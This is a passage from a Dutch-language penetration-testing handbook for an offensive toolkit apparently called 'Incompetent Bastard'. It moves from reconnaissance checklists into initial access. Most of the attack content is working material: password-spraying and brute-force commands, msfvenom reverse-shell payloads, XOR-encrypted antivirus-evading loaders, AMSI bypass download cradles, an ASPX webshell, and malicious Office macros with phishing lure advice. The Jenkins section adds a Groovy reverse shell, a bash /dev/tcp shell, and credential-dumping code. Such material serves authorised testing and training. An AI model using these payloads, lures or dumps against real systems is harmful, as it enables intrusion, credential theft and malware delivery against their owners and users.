def _validate_arg(value, arg_def):
    if len(value) > 512:
        return f"{arg_def['label']} is te lang"
    if ".." in value:
        return f"Pad traversal niet toegestaan in {arg_def['label']}"
    regex = _PATTERN_MAP.get(pattern_name, _RE_SAFE_NAME)
    if not regex.match(value):
        return f"Ongeldig karakter in {arg_def['label']}"
    return None

Dit is hoe een task runner hoort te werken: niet door gebruikersinput in een shell te plakken, maar door voorgedefinieerde commando’s uit te voeren met gevalideerde parameters.

2.10.7 Output bekijken

De Task Runner slaat de output van elke taak op in het geheugen (maximaal 500 regels per taak). Je kunt de output in real-time volgen via de web-interface, of opvragen via de API:

# Output opvragen van een specifieke run (via curl)
curl http://127.0.0.1:5000/api/tasks/runs/<run_id>

Het JSON-antwoord bevat: - status: running, success, of failed - cmd: het uitgevoerde commando - output: een array van output-regels - started_at / finished_at: timestamps - return_code: de exit code van het proces

De scan-resultaten zelf staan in de raw/ directory. Na een succesvolle scan vind je: - raw/nmap/{naam}_quick_scan_tcp.* – initiële TCP scan (nmap, xml, gnmap) - raw/nmap/{naam}_quick_scan_udp.* – initiële UDP scan - raw/nmap/{naam}_tcp-poorten.txt – geformatteerde poortlijst - raw/nmap/{naam}_tcp-versies.txt – service versies - raw/{naam}_scope.csv – scope overzicht met FQDN/rDNS/IP - raw/nmap/{host}_full_scan_tcp.* – deep scans per host - raw/recon/whatweb-{host}.txt – web fingerprinting - raw/recon/wfuzz-{host}.txt – directory bruteforce resultaten - raw/recon/nuclei-{host}.txt – vulnerability scan resultaten

Alles netjes georganiseerd, klaar voor je rapportage.

2.11 De ongemakkelijke waarheid: over verkenning en nalatigheid

Weet je wat het mooiste is aan verkenning? Het onthult geen kwetsbaarheden in software. Het onthult kwetsbaarheden in mensen. Elke open poort is een beslissing die iemand heeft genomen – of vergeten te nemen. Elke default credential is iemand die dacht “dat veranderen we later wel.” Elke zone transfer die slaagt is een beheerder die het checkbox-security-model volgt: als het werkt, is het klaar.

SNMP community string public? Dat is niet eens een kwetsbaarheid, dat is een keuze. Iemand heeft bewust besloten dat public prima was. Of – en dit is erger – niemand heeft er uberhaupt over nagedacht. Het apparaat kwam uit de doos met public als community string, en niemand heeft de moeite genomen om het te veranderen.

Hetzelfde geldt voor anonymous FTP. Het is 2026. Anonymous FTP is geen vergissing meer, het is een traditie. Het wordt doorgegeven van systeembeheerder op systeembeheerder, als een soort digitale folklore. “Zo hebben we het altijd gedaan.” Ja, en vroeger rookten artsen ook in de operatiekamer.

NFS-beveiliging op basis van IP-adressen is misschien wel het mooiste voorbeeld. Het hele model is: “als je op ons netwerk zit, vertrouwen we je.” Geweldig plan. Totdat iemand op je netwerk komt die er niet hoort te zijn. En hoe komt die persoon op je netwerk? Via de FTP-server met anonymous login. Het is een vicieuze cirkel van incompetentie.

2.12 Praktische tips: de verkenningschecklist

Voor elke engagement zou je deze stappen moeten doorlopen, in volgorde:

Fase 1: Passief (geen verkeer naar doelwit) - [ ] Whois lookups (domein en IP) - [ ] DNS records opvragen (A, MX, TXT, NS) - [ ] Certificate Transparency logs doorzoeken - [ ] theHarvester draaien voor e-mailadressen en subdomeinen - [ ] Shodan doorzoeken op IP-bereik - [ ] Google Dorks uitvoeren - [ ] LinkedIn doorzoeken voor medewerkersnamen en technologie-hints

Fase 2: Actief (met toestemming) - [ ] Nmap SYN scan (TCP) op volledig bereik - [ ] Nmap UDP scan op top 50 poorten - [ ] Per-host deep scan met versie-detectie en scripts - [ ] DNS zone transfer proberen - [ ] Subdomain bruteforce - [ ] FTP anonymous login testen - [ ] SMB null session en share enumeratie - [ ] SNMP community string brute force - [ ] NFS showmount - [ ] HTTP: whatweb, directory bruteforce, nuclei - [ ] SMTP user enumeration (als poort 25 open) - [ ] WordPress scan (als WordPress gedetecteerd)

Fase 3: Documentatie - [ ] Alle resultaten opgeslagen in raw/ - [ ] Scope CSV aangemaakt - [ ] Screenshots van relevante bevindingen - [ ] Gevonden credentials en gevoelige informatie gelogd

IB automatiseert een groot deel van fase 2 via de Task Runner en scan.sh, maar de checklist helpt om niets over het hoofd te zien.

2.13 Samenvatting

Verkenning is het fundament van elke penetratietest. Het bepaalt wat je aanvalt, hoe je het aanvalt, en of je uberhaupt iets vindt om aan te vallen. De belangrijkste lessen uit dit hoofdstuk:

1. Begin passief: OSINT en publieke bronnen eerst, actief scannen daarna – het is gratis, onzichtbaar, en verrassend informatief
2. Scan systematisch: Nmap met -oA voor bewijs, scan zowel TCP als UDP – vergeet UDP niet, daar zitten SNMP en DNS
3. Enumereer elke service: FTP, SSH, SMB, RDP, HTTP – elk protocol heeft zijn eigen verkenningstools en eigen veelgemaakte configuratiefouten
4. DNS is een goudmijn: zone transfers, subdomain enumeration, reverse sweeps – DNS onthult meer dan beheerders beseffen
5. SNMP is een ramp: default community strings in combinatie met cleartext transport onthullen alles – gebruikerslijsten, processen, geinstalleerde software
6. NFS vertrouwt blindelings: IP-gebaseerde authenticatie is geen authenticatie, en UID spoofing maakt het triviaal te omzeilen
7. CMS-scanning: WordPress plugins en themes zijn het laaghangende fruit van webapplicatie-beveiliging – een verouderde plugin is een open deur
8. Documenteer alles: IB slaat resultaten gestructureerd op in raw/ – gebruik het voor je rapportage en als bewijs
9. Gebruik de IB Task Runner: het automatiseert de saaie, herhalende delen van verkenning zodat jij je kunt richten op analyse en strategie

De verkenningsfase eindigt niet met een lijst van open poorten. Het eindigt met een beeld – een mentale kaart van het netwerk, de diensten, de gebruikers en de zwakke plekken. Dat beeld is wat je meeneemt naar het volgende hoofdstuk, waar we de stap zetten van verkenning naar daadwerkelijke toegang.

2.14 Referentietabel

Volgende hoofdstuk: Hoofdstuk 3 – Initiële Toegang

Initiële Toegang

“Elke deur gaat open. De vraag is alleen hoeveel sleutels je moet proberen.”

3.1 Het moment van binnentreden

Er is een moment in elke penetratietest dat alles verandert. Je bent uren, soms dagen bezig geweest met verkenning. Je hebt poorten gescand, services geenumereerd, woordenlijsten samengesteld. En dan – ergens tussen de 412e en 413e poging – klopt het wachtwoord. Of de payload landt. Of de macro wordt geopend. Je bent binnen.

Het is een merkwaardig gevoel. Het doet denken aan het openen van een lang vergeten deur in een Engels landhuis: het is niet de deur zelf die fascineert, maar wat erachter ligt. Bij een penetratietest is dat niet anders. Die eerste shell, dat eerste whoami dat terugkomt met een antwoord – dat is het moment waarop de test verandert van theorie naar praktijk.

Maar laten we eerlijk zijn: het feit dat je binnenkomt, is zelden het gevolg van briljant hackerwerk. Het is bijna altijd het gevolg van iemand die Summer2024! als wachtwoord heeft gekozen, of een beheerder die Jenkins open heeft laten staan, of een gebruiker die een Word-document met macro’s heeft geopend. Initiële toegang is in de praktijk minder “Hollywood hacker” en meer “geduldige boekhouder die wachtwoorden probeert.”

In dit hoofdstuk behandelen we de methoden om die eerste voet tussen de deur te krijgen: brute force en password spraying, payload-generatie, Office macro’s, Jenkins-exploitatie en Remote File Inclusion.

3.2 Brute force en password spraying

3.2.1 Het wachtwoordprobleem

Hier is een ongemakkelijke waarheid: de meeste beveiligingsincidenten beginnen met een gestolen of geraden wachtwoord. Niet met een zero-day exploit. Niet met een geavanceerde supply chain-aanval. Met een wachtwoord. Vaak Password1! of een variatie daarop.

Er zijn twee fundamenteel verschillende benaderingen om wachtwoorden te raden:

• Brute force: veel wachtwoorden proberen tegen een enkel account
• Password spraying: een enkel wachtwoord proberen tegen veel accounts

Het verschil is cruciaal. Brute force triggert vrijwel altijd account lockout – na drie of vijf foute pogingen wordt het account vergrendeld. Password spraying omzeilt dit door per lockout-window slechts een wachtwoord per account te proberen.

3.2.2 De lockout policy: ken je vijand

Voordat je ook maar een wachtwoord probeert, moet je de lockout policy kennen. Dit is niet optioneel. Dit is overlevingsinformatie.

# Vanuit het domein (als je al een foothold hebt):
net accounts /domain

# Via CrackMapExec (anoniem):
crackmapexec smb DC_IP -u '' -p '' --pass-pol

# Via PowerView:
Get-DomainPolicy | Select-Object -ExpandProperty SystemAccess

De drie magische getallen zijn: - Lockout threshold: na hoeveel pogingen wordt het account vergrendeld? - Lockout observation window: binnen welk tijdvenster tellen de pogingen? - Reset time: hoe lang duurt het voordat het account weer ontgrendeld wordt?

Als de lockout threshold op 5 staat en de observation window op 30 minuten, dan mag je maximaal 4 pogingen per 30 minuten doen per account. Dat klinkt beperkend, maar als je 500 accounts hebt, zijn 4 pogingen per account per 30 minuten al 2000 wachtwoord-combinaties per halve uur.

3.2.3 Gebruikersnamen verzamelen

Je hebt een lijst met gebruikersnamen nodig. Gelukkig zijn die makkelijker te vinden dan je zou denken:

# Kerbrute user enumeration (genereert geen lockout!)
kerbrute userenum -d DOMAIN --dc DC_IP \
    /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

# LDAP (als anonymous bind mogelijk is)
ldapsearch -x -H ldap://DC_IP -b "DC=domain,DC=local" \
    "(objectClass=user)" sAMAccountName | grep sAMAccountName

# CrackMapExec RID brute force
crackmapexec smb DC_IP -u '' -p '' --rid-brute

Kerbrute is bijzonder slim: het gebruikt het Kerberos pre-authentication mechanisme om te testen of een gebruiker bestaat. Dit genereert geen lockout events en nauwelijks logs. Het is het verschil tussen aan een deur kloppen en door het raam gluren.

3.2.4 Password spraying in de praktijk

# CrackMapExec spray (1 wachtwoord per ronde)
crackmapexec smb DC_IP -u users.txt -p 'Summer2024!' \
    -d DOMAIN --continue-on-success

# Volgende ronde (na 30+ minuten wachten!)
crackmapexec smb DC_IP -u users.txt -p 'Welcome1!' \
    -d DOMAIN --continue-on-success

# Kerbrute spray (sneller, minder logs)
kerbrute passwordspray -d DOMAIN --dc DC_IP users.txt 'Summer2024!'

# Spray via verschillende protocollen
crackmapexec winrm DC_IP -u users.txt -p 'Password1' -d DOMAIN
crackmapexec ldap DC_IP -u users.txt -p 'Password1' -d DOMAIN

De --continue-on-success flag is essentieel: zonder deze flag stopt CrackMapExec bij de eerste hit. In een spray-scenario wil je alle accounts vinden die hetzelfde wachtwoord gebruiken.

Een goed spray-script respecteert de lockout window:

# Geautomatiseerd spray script met wachttijd
for pw in Summer2024! Welcome1! Company2024!; do
    crackmapexec smb DC_IP -u users.txt -p "$pw" \
        -d DOMAIN --continue-on-success
    echo "[*] Wacht 35 minuten voor volgende spray ronde..."
    sleep 2100
done

Merk op dat de wachttijd (35 minuten) iets langer is dan de typische observation window (30 minuten). Die extra vijf minuten zijn een veiligheidsmarge. Beter vijf minuten te lang wachten dan honderden accounts vergrendelen en jezelf verraden.

De populairste spray-wachtwoorden zijn deprimerend voorspelbaar:

Merk op: ze voldoen allemaal aan typische wachtwoordcomplexiteitsregels (hoofdletter, kleine letter, cijfer, speciaal teken, minimaal 8 karakters). Het beleid is technisch voldaan. De beveiliging is nul.

3.2.5 Brute force met Hydra en Medusa

Als password spraying niet werkt, of je richt je op een specifiek account, dan is brute force de volgende stap.

# Hydra: SSH
hydra -L users.txt -P passwords.txt ssh://TARGET_IP -t 4

# Hydra: RDP
hydra -L users.txt -P passwords.txt rdp://TARGET_IP -t 4

# Hydra: HTTP POST formulier
hydra -L users.txt -P passwords.txt TARGET_IP \
    http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials" -t 4

# Hydra: HTTP Basic Auth
hydra -L users.txt -P passwords.txt TARGET_IP http-get /admin -t 4

# Hydra: SMB
hydra -L users.txt -P passwords.txt smb://TARGET_IP -t 4

# Hydra: MySQL
hydra -L users.txt -P passwords.txt mysql://TARGET_IP -t 4

# Hydra: MSSQL
hydra -L users.txt -P passwords.txt mssql://TARGET_IP -t 4

# Medusa: SSH
medusa -h TARGET_IP -U users.txt -P passwords.txt -M ssh -t 4

# Medusa: RDP
medusa -h TARGET_IP -U users.txt -P passwords.txt -M rdp -t 4

# Medusa: FTP
medusa -h TARGET_IP -U users.txt -P passwords.txt -M ftp -t 4

# Medusa: SMB
medusa -h TARGET_IP -U users.txt -P passwords.txt -M smbnt -t 4

# Medusa: HTTP Basic
medusa -h TARGET_IP -U users.txt -P passwords.txt \
    -M http -m DIR:/admin -t 4

De -t 4 flag beperkt het aantal gelijktijdige threads tot 4. Dit is belangrijk: meer threads betekent sneller scannen, maar ook meer kans op account lockout en detectie. Vier threads is een goed compromis.

3.2.6 Crowbar: de RDP-specialist

Hydra is notoir onbetrouwbaar voor RDP. Crowbar is de betere keuze:

# Crowbar RDP brute force
crowbar -b rdp -s TARGET_IP/32 -U users.txt -C passwords.txt -n 1

# Crowbar SSH key brute force
crowbar -b sshkey -s TARGET_IP/32 -u root -k /path/to/keys/ -n 1

# Crowbar OpenVPN
crowbar -b openvpn -s TARGET_IP/32 -u user -C passwords.txt \
    -c /path/to/config.ovpn

IB Tip: IB’s Task Runner heeft dedicated brute force taken: brute_ssh, brute_rdp en brute_vpn. Ze gebruiken Crowbar en lezen targets automatisch uit je nmap scan resultaten. De gen_passwords taak genereert een wachtwoordlijst gebaseerd op veelgebruikte patronen.

De IB Task Runner taken voor brute force:

3.2.7 Offline hash cracking

Soms vind je geen werkend wachtwoord, maar wel een hash. Dan verschuift het probleem van netwerk-brute-force naar offline cracking – oneindig veel sneller en zonder lockout-risico.

# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
john --show hashes.txt

# Hashcat (GPU-versneld)
# NTLM hashes
hashcat -m 1000 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt

# Kerberoast TGS hashes
hashcat -m 13100 tgs_hashes.txt /usr/share/wordlists/rockyou.txt

# AS-REP roasting hashes
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt

# NetNTLMv2 hashes
hashcat -m 5600 netntlm_hashes.txt /usr/share/wordlists/rockyou.txt

Het verschil in snelheid is astronomisch. Een online brute force tegen SSH doet misschien 100 pogingen per seconde. Hashcat met een fatsoenlijke GPU doet miljoenen hashes per seconde. Miljoenen. Het is het verschil tussen te voet naar Parijs lopen en er met een straalvliegtuig naartoe vliegen.

3.2.8 Woordenlijst generatie

Een goede woordenlijst is het verschil tussen succes en falen. rockyou.txt is een prima startpunt, maar bedrijfsspecifieke wachtwoorden staan er niet in.

# CeWL: scrape website voor woorden
cewl https://target-website -d 3 -m 5 -w cewl_wordlist.txt

# Met e-mailadressen extractie
cewl https://target-website -d 3 -m 5 -e \
    --email_file emails.txt -w cewl_wordlist.txt

# Crunch: patroon-gebaseerde woordlijsten
# @ = lowercase, , = uppercase, % = nummer, ^ = symbool
crunch 10 10 -t Company%%^^ -o company_passwords.txt
crunch 8 8 -t @@@@%%%% -o names_numbers.txt

# PIN codes genereren
crunch 6 6 0123456789 -o pins.txt

De slimste aanpak is een combinatie: gebruik CeWL om bedrijfsnamen, productnamen en jargon van de website te scrapen, en pas daar dan mutatie-regels op toe:

# John the Ripper regels toepassen op een woordenlijst
john --wordlist=cewl_wordlist.txt --rules=best64 --stdout > mutated.txt
john --wordlist=cewl_wordlist.txt --rules=KoreLogic --stdout > mutated.txt

# Hashcat regels
hashcat -r /usr/share/hashcat/rules/best64.rule \
    --stdout wordlist.txt > mutated.txt

# Meerdere regelsets combineren
hashcat -r rule1.rule -r rule2.rule --stdout wordlist.txt > mutated.txt

De best64 regelset is een goede start – het past 64 veelgebruikte transformaties toe (hoofdletter aan het begin, cijfers achteraan, symbolen toevoegen, etc.). De OneRuleToRuleThemAll regelset is uitgebreider maar trager.

IB Tip: IB’s passwd_wordlist command file bevat crunch-patronen, CeWL-commando’s en mutatie-regels. Het passwd_spray bestand bevat de complete spray-workflow inclusief lockout policy checks. Begin altijd met de lockout policy voordat je gaat sprayen.

3.3 Payload generatie

3.3.1 De wapenkamer

Een payload is het stukje code dat op het doelsysteem draait en je een verbinding teruggeeft. Het is de digitale equivalent van een sleutel die je van binnenuit de deur openmaakt. Incompetent Bastard heeft acht payload generators ingebouwd – elk voor een ander scenario, platform en evasion-techniek.

IB’s payload generators zijn geen simpele msfvenom-wrappers. Ze genereren shellcode, passen XOR-encryptie toe, compileren C# code, en produceren kant-en-klare bestanden die je direct kunt deployen. Alles vanuit een webinterface.

3.3.2 Overzicht van IB’s payload generators

3.3.3 Meterpreter Generator walkthrough

De Meterpreter Generator is IB’s vlaggenschip payload generator. Hij genereert een XOR-encrypted C# executable die meterpreter shellcode laadt – ontworpen om antivirusdetectie te ontwijken.

Stap 1: Open de generator

Navigeer naar http://127.0.0.1:5000/meterpreter in je browser. Je ziet een formulier met drie velden:

• LHOST (verplicht): het IP-adres waar de meterpreter-sessie naar terugverbindt
• LPORT (standaard 443): de poort voor de callback
• Payload (keuzemenu): het type meterpreter payload
• XOR Key (optioneel): een integer 1-255 voor XOR-encryptie, of leeg voor random

Stap 2: Configureer de payload

Typische configuratie: - LHOST: 10.0.0.1 (je aanvalsmachine) - LPORT: 443 (HTTPS-poort, minder opvallend) - Payload: windows/x64/meterpreter/reverse_https - XOR Key: leeg (random)

Stap 3: Genereer

Klik op “Genereer meterpreter”. IB doet het volgende op de achtergrond:

1. Roept msfvenom aan om raw shellcode te genereren
2. Past XOR-encryptie toe met de opgegeven of random sleutel
3. Genereert een C# bronbestand met de encrypted shellcode
4. Compileert het met msbuild
5. Produceert meuk/meth/bin/Debug/meth.exe

Stap 4: Download en deploy

De gegenereerde executable verschijnt als download. Transfer het naar het doelsysteem via een van IB’s delivery-methoden (HTTP server, FTP upload, of via een eerder verkregen shell).

3.3.4 Meterpreter v2: met LURI support

De v2 generator voegt een LURI (Listener URI) parameter toe. Dit is nuttig als je Metasploit handler achter een reverse proxy draait – de LURI specificeert het pad waarop de handler luistert.

Configuratie: - LHOST: 10.0.0.1 - LPORT: 443 - LURI: /api/v1/session (of elk willekeurig pad) - Payload: windows/x64/meterpreter/reverse_https

De LURI maakt het verkeer minder opvallend: in plaats van callbacks naar https://10.0.0.1:443/, gaan ze naar https://10.0.0.1:443/api/v1/session – wat eruitziet als normaal API-verkeer.

3.3.5 PowerShell Generator

De PowerShell Generator produceert drie bestanden:

1. amsi-bypass.ps1: een script dat de Antimalware Scan Interface (AMSI) uitschakelt
2. amsi-shell.ps1: AMSI bypass + reverse shell in een bestand
3. shell_443.txt: base64-encoded payload

# Typisch gebruik op het doelsysteem:
# 1. AMSI bypass laden
IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.1/amsi-bypass.ps1')

# 2. Reverse shell laden
IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.1/amsi-shell.ps1')

# Of de base64 variant (minder detecteerbaar):
powershell -enc [BASE64_STRING]

De PowerShell Generator ondersteunt ook LURI en een keuze van bestandsnaam voor het output-bestand in http/payloads/.

3.3.6 Invoke-Shellcode Generator

De Invoke-Shellcode generator produceert een PowerShell script dat shellcode injecteert in het huidige process. Het genereert zowel x32 als x64 shellcode via msfvenom en verpakt het in een invoke-shellcode.ps1 bestand.

Configuratie: - LHOST: 10.0.0.1 - LPORT: 443 - LURI: / (standaard)

Output: http/payloads/invoke-shellcode.ps1

Het verschil met de PowerShell Generator is subtiel maar belangrijk: de PowerShell Generator produceert een script dat via een download cradle wordt geladen en direct in PowerShell draait. De Invoke-Shellcode Generator produceert een script dat shellcode direct in het proces-geheugen injecteert. Dat laatste is moeilijker te detecteren voor antivirusoplossingen die op bestandsniveau scannen.

3.3.7 ASPX Generator (Meth ASPX)

Voor IIS-webservers genereert de Meth ASPX Generator een XOR-encrypted ASPX webshell. Dit is nuttig als je schrijftoegang hebt tot een IIS-webroot (via FTP, SMB, of een upload-kwetsbaarheid).

# Na generatie: upload naar IIS webroot
# Via FTP:
ftp TARGET_IP
# put meth.aspx
# cd wwwroot
# put meth.aspx

# Via curl (als er een upload endpoint is):
curl -F "file=@http/payloads/meth.aspx" http://TARGET_IP/upload

# Trigger:
curl http://TARGET_IP/meth.aspx

Output: http/payloads/meth.aspx met XOR-encrypted C# shellcode.

3.3.8 Msfvenom: de command-line manier

Achter IB’s generators draait msfvenom. Als je de command-line prefereert, of een payload nodig hebt die IB niet ondersteunt:

# Windows meterpreter reverse HTTPS (exe)
msfvenom -p windows/x64/meterpreter/reverse_https \
    LHOST=10.0.0.1 LPORT=443 -f exe -o shell.exe

# Windows meterpreter reverse TCP (exe)
msfvenom -p windows/x64/meterpreter/reverse_tcp \
    LHOST=10.0.0.1 LPORT=443 -f exe -o shell_tcp.exe

# Linux reverse shell (ELF)
msfvenom -p linux/x64/shell_reverse_tcp \
    LHOST=10.0.0.1 LPORT=443 -f elf -o shell.elf

# ASP reverse shell (voor IIS)
msfvenom -p windows/shell_reverse_tcp \
    LHOST=10.0.0.1 LPORT=443 -f asp -o shell.asp

# JSP reverse shell (voor Tomcat)
msfvenom -p java/jsp_shell_reverse_tcp \
    LHOST=10.0.0.1 LPORT=443 -f raw -o shell.jsp

# WAR file (voor Tomcat manager)
msfvenom -p java/jsp_shell_reverse_tcp \
    LHOST=10.0.0.1 LPORT=443 -f war -o shell.war

# macOS reverse shell
msfvenom -p osx/x64/shell_reverse_tcp \
    LHOST=10.0.0.1 LPORT=443 -f macho -o shell.macho

# PowerShell payload (base64)
msfvenom -p windows/x64/meterpreter/reverse_https \
    LHOST=10.0.0.1 LPORT=443 -f psh -o shell.ps1

# Raw shellcode (voor custom loaders)
msfvenom -p windows/x64/meterpreter/reverse_https \
    LHOST=10.0.0.1 LPORT=443 -f raw -o shellcode.bin

# C# shellcode (voor compilatie)
msfvenom -p windows/x64/meterpreter/reverse_https \
    LHOST=10.0.0.1 LPORT=443 -f csharp

IB Tip: IB’s http/payloads/ directory bevat kant-en-klare payloads in meerdere formaten: .exe, .elf, .asp, .jsp, .war, .macho, .txt (base64 PowerShell). IB’s ingebouwde HTTP server serveert deze bestanden automatisch – je slachtoffer hoeft ze alleen maar te downloaden.

3.3.9 Metasploit handler opzetten

Een payload zonder handler is als een telefoon zonder ontvanger. Je moet Metasploit klaarzetten om de callback op te vangen:

# Start msfconsole
msfconsole

# Handler configureren
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set LHOST 10.0.0.1
set LPORT 443
set ExitOnSession false
exploit -j

De ExitOnSession false optie zorgt ervoor dat de handler blijft luisteren na de eerste verbinding – essentieel als je meerdere sessies verwacht. De exploit -j flag start de handler als achtergrond-job, zodat je de msfconsole kunt blijven gebruiken.

Enkele nuttige Metasploit-commando’s na het opzetten van de handler:

# Lijst van actieve sessies
sessions -l

# Interactie met een sessie
sessions -i 1

# Achtergrond een sessie
background

# Route toevoegen via een sessie (voor pivoting)
route add 10.1.0.0/24 1

Voor HTTPS-payloads met LURI:

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set LHOST 10.0.0.1
set LPORT 443
set LURI /api/v1/session
set ExitOnSession false
exploit -j

3.4 Office macro’s: social engineering met een spreadsheet

3.4.1 Waarom macro’s werken

Office macro’s zijn de oudste truc in het boek, en ze werken nog steeds. Niet omdat de techniek zo geavanceerd is – het is letterlijk VBA-code uit de jaren negentig – maar omdat de zwakste schakel altijd de mens is. Een goed opgemaakt Excel-bestand met de titel “Salarisoverzicht_Q4.xlsm” en een vriendelijk bericht “Klik op ‘Enable Macros’ om de gegevens te bekijken” is voldoende om in menig organisatie een foothold te krijgen.

Microsoft heeft in recente versies van Office macro’s standaard geblokkeerd voor bestanden die van internet zijn gedownload (de Mark-of-the-Web bescherming). Maar in veel bedrijfsomgevingen draaien oudere versies, of is deze bescherming uitgeschakeld “omdat anders de afdeling Financien niet kan werken.”

3.4.2 IB’s Macro Generator

IB heeft twee macro generators: de originele en de v2 (met LURI-support).

Macro Generator (v1):

1. Navigeer naar http://127.0.0.1:5000/macro
2. Configureer:
   • LHOST: 10.0.0.1
   • LPORT: 443
   • Payload: windows/meterpreter/reverse_https
   • Template (optioneel): upload een .docx of .xlsx
3. Klik “Genereer macro”

Als je een template uploadt, injecteert IB de macro in het document en produceert een macro-enabled versie (.docm of .xlsm). Zonder template krijg je de raw VBA-code die je handmatig in een document kunt plakken.

Macro Generator (v2):

Dezelfde workflow, maar met een extra LURI-veld. De API endpoint is /api/macro2/generate.

3.4.3 Handmatige VBA macro payload

Als je de macro zelf wilt bouwen:

# Genereer VBA macro via msfvenom
msfvenom -p windows/meterpreter/reverse_https \
    LHOST=10.0.0.1 LPORT=443 \
    -f vba-exe -o macro_payload.vba

De gegenereerde code bestaat uit twee delen: 1. Een Auto_Open() (Word) of Workbook_Open() (Excel) functie die automatisch draait bij het openen van het document 2. Shellcode die in het geheugen wordt geladen en de meterpreter-sessie start

Om de macro in een document te plaatsen: 1. Open Word of Excel 2. Druk Alt+F11 om de VBA-editor te openen 3. Plak de gegenereerde code in een module 4. Sla op als .docm (Word) of .xlsm (Excel)

3.4.4 Social engineering delivery

De techniek is slechts de helft van het verhaal. De delivery – hoe je het document bij het slachtoffer krijgt – is minstens zo belangrijk.

Effectieve delivery-methoden:

1. E-mail: het meest voorkomend. Een overtuigend bericht met het document als bijlage
2. USB-drop: fysiek een USB-stick achterlaten op een parkeerplaats of in de lobby
3. Interne share: als je al een foothold hebt, plaats het document op een gedeelde schijf
4. Website: host het document op een overtuigende website

De sleutel is context. Een document genaamd Factuur_December.xlsm verstuurd in januari aan de financiële afdeling is vele malen effectiever dan een generiek document aan een willekeurige medewerker.

Enkele tips voor overtuigende macro-documents:

1. Gebruik de huisstijl: kopieer logo’s, kleurtinten en lettertypen van de organisatie
2. Verwijs naar echte projecten: als je via OSINT projectnamen hebt gevonden, gebruik ze
3. Maak het urgent: “Actie vereist voor 17:00” werkt beter dan “Bijgevoegd ter informatie”
4. Verberg de macro-waarschuwing: voeg een afbeelding toe die zegt “Dit document is beveiligd. Klik op ‘Enable Content’ om het te bekijken”
5. Stuur het op het juiste moment: maandagochtend is effectiever dan vrijdagmiddag

Dit is geen technisch advies. Dit is social engineering. En social engineering is effectiever dan welke exploit dan ook.

IB Tip: IB’s HTTP server (standaard actief op poort 5000) serveert bestanden uit de http/payloads/ directory. Gegenereerde macro-documenten worden hier automatisch geplaatst. Combineer dit met IB’s XSS-hooks voor een volledige social engineering pipeline: hook de browser, stuur een bericht met een link naar je payload.

3.5 Jenkins exploitatie

3.5.1 De CI/CD-server als achterdeur

Jenkins is de meest gebruikte CI/CD-server ter wereld. Het automatiseert het bouwen, testen en deployen van software. En het draait vaak als root of SYSTEM. Op een server die toegankelijk is voor het hele ontwikkelteam. Soms voor het hele netwerk. Soms voor het hele internet.

Jenkins is een penetratietester’s droom. Het is ontworpen om willekeurige code uit te voeren – dat is letterlijk zijn functie. Het verschil tussen “legitimate CI/CD pipeline” en “remote code execution” is alleen een kwestie van wie de code uitvoert.

3.5.2 Detectie

# Jenkins draait typisch op deze poorten
# 8080 (HTTP), 8443 (HTTPS), 50000 (agent)

# Versie detectie
nmap -sV -p 8080,8443,50000 TARGET_IP

# Handmatige checks:
# Login pagina:  http://TARGET:8080/login
# Versie info:   http://TARGET:8080/oops (of /error)
# Groovy console: http://TARGET:8080/script
# Manage pagina:  http://TARGET:8080/manage
# Gebruikerslijst: http://TARGET:8080/asynchPeople/

De belangrijkste vraag is: is /script bereikbaar? Als ja, heb je directe remote code execution. De Groovy Script Console is een interactieve console die willekeurige Groovy-code uitvoert op de server. Met de rechten van het Jenkins-proces. Dat is meestal root of SYSTEM.

3.5.3 Groovy Script Console: directe RCE

Als de Script Console toegankelijk is (al dan niet na authenticatie):

// Linux: command execution
def cmd = "id".execute()
println cmd.text

// Linux: reverse shell
String host = "10.0.0.1"
int port = 443
String cmd = "/bin/bash"
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start()
Socket s = new Socket(host, port)
InputStream pi = p.getInputStream()
InputStream pe = p.getErrorStream()
InputStream si = s.getInputStream()
OutputStream po = p.getOutputStream()
OutputStream so = s.getOutputStream()
while (!s.isClosed()) {
    while (pi.available() > 0) so.write(pi.read())
    while (pe.available() > 0) so.write(pe.read())
    while (si.available() > 0) po.write(si.read())
    so.flush()
    po.flush()
    Thread.sleep(50)
}

// Windows: command execution
def cmd = "cmd.exe /c whoami".execute()
println cmd.text

// Windows: PowerShell download cradle
def cmd = "powershell -c IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.1/shell.ps1')".execute()

3.5.4 Build Step RCE

Als je geen admin-toegang hebt maar wel Jobs kunt aanmaken of wijzigen:

1. Maak een nieuwe Job: New Item -> Freestyle project
2. Ga naar Build -> Add build step -> Execute shell (Linux) of Execute Windows batch command
3. Voer je commando in:

# Linux reverse shell via build step
bash -i >& /dev/tcp/10.0.0.1/443 0>&1

# Windows: download en execute
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.1/shell.ps1')"

1. Klik Build Now

De build draait als het Jenkins-serviceaccount. Op Linux is dat vaak jenkins (soms root). Op Windows is dat vaak NT AUTHORITY\SYSTEM.

3.5.5 Credential dumping via Jenkins

Jenkins slaat credentials op in $JENKINS_HOME/credentials.xml, versleuteld met een master key. Via de Groovy console kun je deze ontsleutelen:

// Alle opgeslagen credentials dumpen
com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
    com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials.class,
    Jenkins.instance, null, null
).each {
    println "ID: ${it.id}, User: ${it.username}, Pass: ${it.password}"
}

// Individuele encrypted string ontsleutelen
println hudson.util.Secret.decrypt("{AQAAABAAAAAg...}")

Jenkins credentials bevatten vaak SSH-sleutels, database-wachtwoorden, API-tokens en deployment-credentials. Een compromised Jenkins is niet alleen toegang tot de Jenkins-server – het is potentieel toegang tot elk systeem waar Jenkins mee communiceert.

3.5.6 Jenkins CLI en API

# Jenkins API met bekende credentials
curl -u admin:PASSWORD http://TARGET:8080/api/json

# Remote code execution via API
curl -u admin:PASSWORD http://TARGET:8080/script \
    -d "script=println 'whoami'.execute().text"

# Jenkins CLI
# Download de CLI jar:
# http://TARGET:8080/jnlpJars/jenkins-cli.jar
